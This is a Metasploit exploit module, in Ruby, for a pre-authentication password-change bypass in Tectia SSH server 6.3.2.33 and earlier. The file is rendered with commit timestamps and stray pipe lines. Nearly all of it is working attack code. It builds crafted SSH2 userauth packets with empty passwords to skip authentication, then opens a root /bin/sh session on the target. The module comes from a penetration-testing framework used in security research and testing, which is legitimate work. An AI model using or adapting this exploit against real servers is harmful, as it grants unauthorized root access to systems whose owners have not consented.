2012-12-04 03:07:32 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'net/ssh'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability in Tectia SSH server for Unix-based
|
|
|
|
platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
|
|
|
|
before authentication, allowing any remote user to bypass the login routine,
|
|
|
|
and then gain access as root.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'kingcope', #Original 0day
|
|
|
|
'bperry',
|
|
|
|
'sinn3r'
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['EDB', '23082'],
|
|
|
|
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12']
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2012-12-04 15:25:24 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
2012-12-04 03:07:32 +00:00
|
|
|
'PayloadType' => 'cmd_interact',
|
|
|
|
'ConnectionType' => 'find'
|
|
|
|
}
|
|
|
|
},
|
|
|
|
'Platform' => 'unix',
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Unix-based Tectia SSH 6.3.2.33 or prior', {}],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DisclosureDate' => "Dec 01 2012",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(22),
|
|
|
|
OptString.new('USERNAME', [true, 'The username to login as', 'root'])
|
|
|
|
], self.class
|
|
|
|
)
|
|
|
|
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
|
|
|
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
|
|
|
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
|
|
|
|
]
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
|
|
|
banner = sock.get_once
|
|
|
|
print_status("#{rhost}:#{rport} - #{banner}")
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Vulnerable if banner =~ /SSH Tectia/
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def rhost
|
|
|
|
datastore['RHOST']
|
|
|
|
end
|
|
|
|
|
|
|
|
def rport
|
|
|
|
datastore['RPORT']
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# This is where the login begins. We're expected to use the keyboard-interactive method to
|
|
|
|
# authenticate, but really all we want is skipping it so we can move on to the password
|
|
|
|
# method authentication.
|
|
|
|
#
|
|
|
|
def auth_keyboard_interactive(user, transport)
|
|
|
|
print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...")
|
|
|
|
auth_req_pkt = Net::SSH::Buffer.from(
|
|
|
|
:byte, 0x32, #userauth request
|
|
|
|
:string, user, #username
|
|
|
|
:string, "ssh-connection", #service
|
|
|
|
:string, "keyboard-interactive", #method name
|
|
|
|
:string, "", #lang
|
|
|
|
:string, ""
|
|
|
|
)
|
|
|
|
|
|
|
|
user_auth_pkt = Net::SSH::Buffer.from(
|
|
|
|
:byte, 0x3D, #userauth info
|
|
|
|
:raw, 0x01, #number of prompts
|
|
|
|
:string, "", #password
|
|
|
|
:raw, "\0"*32 #padding
|
|
|
|
)
|
|
|
|
|
|
|
|
transport.send_message(auth_req_pkt)
|
|
|
|
message = transport.next_message
|
|
|
|
vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive")
|
|
|
|
|
|
|
|
message = transport.next_message
|
|
|
|
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
|
|
|
|
|
|
|
|
# USERAUTH INFO
|
|
|
|
transport.send_message(user_auth_pkt)
|
|
|
|
message = transport.next_message
|
|
|
|
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
|
|
|
|
|
|
|
|
2.times do |i|
|
|
|
|
#USRAUTH REQ
|
|
|
|
transport.send_message(auth_req_pkt)
|
|
|
|
message = transport.next_message
|
|
|
|
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
|
|
|
|
|
|
|
|
# USERAUTH INFO
|
|
|
|
transport.send_message(user_auth_pkt)
|
|
|
|
message = transport.next_message
|
|
|
|
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# The following link is useful to understand how to craft the USERAUTH password change
|
|
|
|
# request packet:
|
|
|
|
# http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903
|
|
|
|
#
|
|
|
|
def userauth_passwd_change(user, transport, connection)
|
|
|
|
print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...")
|
|
|
|
pkt = Net::SSH::Buffer.from(
|
|
|
|
:byte, 0x32, #userauth request
|
|
|
|
:string, user, #username
|
|
|
|
:string, "ssh-connection", #service
|
|
|
|
:string, "password" #method name
|
|
|
|
)
|
|
|
|
pkt.write_bool(true)
|
|
|
|
pkt.write_string("") #Old pass
|
|
|
|
pkt.write_string("") #New pass
|
|
|
|
|
|
|
|
transport.send_message(pkt)
|
|
|
|
message = transport.next_message.type
|
|
|
|
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
|
|
|
|
|
|
|
|
if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS
|
|
|
|
transport.send_message(transport.service_request("ssh-userauth"))
|
|
|
|
message = transport.next_message.type
|
|
|
|
|
|
|
|
if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT
|
|
|
|
shell = Net::SSH::CommandStream.new(connection, '/bin/sh', true)
|
|
|
|
connection = nil
|
|
|
|
return shell
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def do_login(user)
|
|
|
|
opts = {:user=>user, :record_auth_info=>true}
|
|
|
|
options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
|
|
|
|
transport = Net::SSH::Transport::Session.new(rhost, options)
|
|
|
|
connection = Net::SSH::Connection::Session.new(transport, options)
|
|
|
|
auth_keyboard_interactive(user, transport)
|
|
|
|
userauth_passwd_change(user, transport, connection)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
# Our keyboard-interactive is specific to Tectia. This allows us to run quicker when we're
|
|
|
|
# engaging a variety of SSHD targets on a network.
|
|
|
|
if check != Exploit::CheckCode::Vulnerable
|
|
|
|
print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
c = nil
|
|
|
|
|
|
|
|
begin
|
2012-12-04 03:09:07 +00:00
|
|
|
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
2012-12-04 03:07:32 +00:00
|
|
|
c = do_login(datastore['USERNAME'])
|
|
|
|
end
|
|
|
|
rescue Rex::ConnectionError, Rex::AddressInUse
|
|
|
|
return
|
|
|
|
rescue Net::SSH::Disconnect, ::EOFError
|
|
|
|
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
|
|
|
|
return
|
|
|
|
rescue Net::SSH::Exception => e
|
|
|
|
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
|
|
|
|
return
|
|
|
|
rescue ::Timeout::Error
|
|
|
|
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
handler(c.lsock) if c
|
|
|
|
end
|
|
|
|
end
|